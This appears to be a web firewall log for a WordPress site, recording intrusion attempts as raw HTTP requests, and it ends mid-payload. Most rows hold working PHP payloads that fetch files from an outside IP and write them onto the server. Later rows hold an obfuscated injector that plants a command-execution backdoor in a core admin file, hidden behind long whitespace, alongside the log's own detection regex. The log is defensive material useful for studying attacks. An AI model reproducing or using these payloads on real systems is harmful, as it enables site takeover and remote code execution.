Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nupgrade-insecure-requests:1\n\nDP=%3C%3Fphp%20%20file_put_contents%28%27class.prefs.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/bhUBCENOQr%27%29%29%3B"]
["2026-05-12 23:05:09","62.210.185.4","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> jD:%3C%3Fphp%20%20file_put_contents%28%27events_photo.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/EXoHKGhxgB%27%29%29%3B","POST \/ HTTP\/1.1\ncontent-length:175\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnxDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nupgrade-insecure-requests:1\n\njD=%3C%3Fphp%20%20file_put_contents%28%27events_photo.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/EXoHKGhxgB%27%29%29%3B"]
["2026-05-12 23:05:10","78.142.18.172","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> xE:%3C%3Fphp%20%20file_put_contents%28%27new_pass.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/PrCZMkHlxl%27%29%29%3B","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-length:171\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrRHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"macOS\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nupgrade-insecure-requests:1\n\nxE=%3C%3Fphp%20%20file_put_contents%28%27new_pass.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/PrCZMkHlxl%27%29%29%3B"]
["2026-05-12 23:05:15","185.98.128.239","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ia:%3C%3Fphp%20%20file_put_contents%28%27phocagallery.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/LVxzXKFvdM%27%29%29%3B","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFJRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:175\naccept:*\/*\n\nIa=%3C%3Fphp%20%20file_put_contents%28%27phocagallery.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/LVxzXKFvdM%27%29%29%3B"]
["2026-05-12 23:05:17","208.181.135.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20file_put_contents%28%27move.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/zAINXdFYYC%27%29%29%3B\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\ncontent-length:190\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\naccept:*\/*\nhost:dewenlabels.com\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\n\nIMAhJp=eval(rawurldecode(\"%20file_put_contents%28%27move.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/zAINXdFYYC%27%29%29%3B\"));"]
["2026-05-12 23:43:17","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> oY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/privacy-tools.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25277%2527%253B%2524ent2%2520%253D%2520%25279%2527%253B%2524ent3%2520%253D%2520%25274%2527%253B%2524ent4%2520%253D%2520%25276%2527%253B%2524ent5%2520%253D%2520%25273%2527%253B%2524ent6%2520%253D%2520%25278%2527%253B%2524ent7%2520%253D%2520%25275%2527%253B%2524ent8%2520%253D%2520%2527c%2527%253B%2524ent9%2520%253D%2520%25270%2527%253B%2524ent10%2520%253D%2520%25272%2527%253B%2524ent11%2520%253D%2520%2527e%2527%253B%2524ent12%2520%253D%2520%25271%2527%253B%2524ent13%2520%253D%2520%2527d%2527%253B%2524ent14%2520%253D%2520%2527f%2527%253B%2524service_registry1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2527d%2527%2529%253B%2524service_registry2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%2524ent6%2520.%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2524ent8%2520.%2520%2524ent4%2520.%2520%2527c%2527%2520.%2520%2524ent7%2520.%2520%2527f%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524ent6%2520.%2520%25276%2527%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2524ent5%2529%253B%2524service_registry3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%25276%2527%2520.%2520%2524ent5%2529%253B%2524service_registry4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent1%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%2524ent6%2520.%2520%2524ent1%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%2524ent7%2529%253B%2524service_registry5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent11%2529%253B%2524service_registry6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent5%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2524ent12%2520.%2520%2524ent4%2520.%2520%2524ent13%2520.%2520%25275%2527%2520.%2520%2524ent14%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%25276%2527%2520.%2520%2524ent7%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2524ent14%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2527e%2527%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524service_registry7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524ent4%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524ent14%2520.%2520%2524ent1%2520.%2520%2524ent5%2520.%2520%25276%2527%2520.%2520%2524ent7%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent11%2520.%2520%2524ent4%2520.%2520%25276%2527%2520.%2520%25276%2527%2520.%2520%25279%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524ent4%2520.%2520%2524ent13%2520.%2520%2524ent4%2520.%2520%2524ent12%2520.%2520%2524ent4%2520.%2520%2524ent11%2520.%2520%2524ent4%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2524ent1%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent1%2520.%2520%2524ent10%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524service_registry1%2529%2529%257B%2524service_registry1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry2%2529%2529%257Bprint%2520%2524service_registry2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry3%2529%2529%257B%2524service_registry3%2528%2524config_manager%252C%2524resource_k%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524resource_k%2529%253B%257Delseif%2528function_exists%2528%2524service_registry4%2529%2529%257B%2524service_registry4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry5%2529%2526%2526function_exists%2528%2524service_registry6%2529%2526%2526function_exists%2528%2524service_registry7%2529%2529%257B%2524hld_marker%253D%2524service_registry5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524hld_marker%2529%257B%2524dat_itm%253D%2524service_registry6%2528%2524hld_marker%2529%253B%2524service_registry7%2528%2524hld_marker%2529%253Bprint%2520%2524dat_itm%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:8989\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvo1xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\noY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/privacy-tools.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25277%2527%253B%2524ent2%2520%253D%2520%25279%2527%253B%2524ent3%2520%253D%2520%25274%2527%253B%2524ent4%2520%253D%2520%25276%2527%253B%2524ent5%2520%253D%2520%25273%2527%253B%2524ent6%2520%253D%2520%25278%2527%253B%2524ent7%2520%253D%2520%25275%2527%253B%2524ent8%2520%253D%2520%2527c%2527%253B%2524ent9%2520%253D%2520%25270%2527%253B%2524ent10%2520%253D%2520%25272%2527%253B%2524ent11%2520%253D%2520%2527e%2527%253B%2524ent12%2520%253D%2520%25271%2527%253B%2524ent13%2520%253D%2520%2527d%2527%253B%2524ent14%2520%253D%2520%2527f%2527%253B%2524service_registry1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2527d%2527%2529%253B%2524service_registry2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%2524ent6%2520.%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2524ent8%2520.%2520%2524ent4%2520.%2520%2527c%2527%2520.%2520%2524ent7%2520.%2520%2527f%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524ent6%2520.%2520%25276%2527%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2524ent5%2529%253B%2524service_registry3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%25276%2527%2520.%2520%2524ent5%2529%253B%2524service_registry4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent1%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%2524ent6%2520.%2520%2524ent1%2520.%2520%2524ent10%2520.%2520%25277%2527%2520.%2520%2524ent7%2529%253B%2524service_registry5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524ent11%2529%253B%2524service_registry6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent1%2520.%2520%2524ent5%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2524ent12%2520.%2520%2524ent4%2520.%2520%2524ent13%2520.%2520%25275%2527%2520.%2520%2524ent14%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%25276%2527%2520.%2520%2524ent7%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2524ent14%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524ent1%2520.%2520%25274%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2527e%2527%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524service_registry7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524ent4%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524ent14%2520.%2520%2524ent1%2520.%2520%2524ent5%2520.%2520%25276%2527%2520.%2520%2524ent7%2529%253B%2524config_manager%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524ent4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524ent11%2520.%2520%2524ent4%2520.%2520%25276%2527%2520.%2520%25276%2527%2520.%2520%25279%2527%2520.%2520%2524ent4%2520.%2520%2524ent1%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%2524ent4%2520.%2520%2524ent13%2520.%2520%2524ent4%2520.%2520%2524ent12%2520.%2520%2524ent4%2520.%2520%2524ent11%2520.%2520%2524ent4%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2524ent1%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent1%2520.%2520%2524ent10%2529%253Bif%2528isset%2528%2524_POST%255B%2524config_manager%255D%2529%2529%257B%2524config_manager%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524config_manager%255D%2529%253Bif%2528function_exists%2528%2524service_registry1%2529%2529%257B%2524service_registry1%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry2%2529%2529%257Bprint%2520%2524service_registry2%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry3%2529%2529%257B%2524service_registry3%2528%2524config_manager%252C%2524resource_k%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524resource_k%2529%253B%257Delseif%2528function_exists%2528%2524service_registry4%2529%2529%257B%2524service_registry4%2528%2524config_manager%2529%253B%257Delseif%2528function_exists%2528%2524service_registry5%2529%2526%2526function_exists%2528%2524service_registry6%2529%2526%2526function_exists%2528%2524service_registry7%2529%2529%257B%2524hld_marker%253D%2524service_registry5%2528%2524config_manager%252C%2522r%2522%2529%253Bif%2528%2524hld_marker%2529%257B%2524dat_itm%253D%2524service_registry6%2528%2524hld_marker%2529%253B%2524service_registry7%2528%2524hld_marker%2529%253Bprint%2520%2524dat_itm%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:43:18","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ca:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/privacy-tools.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25277%2527%253B%2524ent2%2520%253D%2520%25279%2527%253B%2524ent3%2520%253D%2520%25274%2527%253B%2524ent4%2520%253D%2520%25276%2527%253B%2524ent5%2520%253D%2520%25273%2527%253B%2524ent6%2520%253D%2520%25278%2527%253B%2524ent7%2520%253D%2520%25275%2527%253B%2524ent8%2520%253D%2520%2527c%2527%253B%2524ent9%2520%253D%2520%25270%2527%253B%2524ent10%2520%253D%2520%25272%2527%253B%2524ent11%2520%253D%2520%2527e%2527%253B%2524ent12%2520%253D%2520%25271%2527%253B%2524ent13%2520%253D%2520%2527d%2527%253B%2524ent14%2520%253D%2520%2527f%2527%253B%2524service_registry1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%2524ent2%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524ent1%2520.%2520%2524ent3%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524ent4%2520.%2520%2527d%2527%2529%253B%2524service_registry2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent5%2520.%2520%2524ent4%2520.%2520%2524ent6%2520.%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2524ent8%2520.%2520%2524ent4%2520.%2520%2527c%2527%2520.%2520%2524ent7%2520.%2520%2527f%2527%2520.%2520%2524ent4%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524ent6%2520.%2520%25276%2527%2520.%2520%2524ent7%2520.%2520%2524ent4%2520.%2520%2524ent5%2529%253B%2524service_registry3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%2524ent4%2520.%2520%2524ent7%2520.%2520%25276%2527%2520.%2520%2524ent5%2529%253B%2524service_registry4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524ent9%2520.%2520%2524ent4%2520.%2520%25271%2527%2520.%2520%25277%2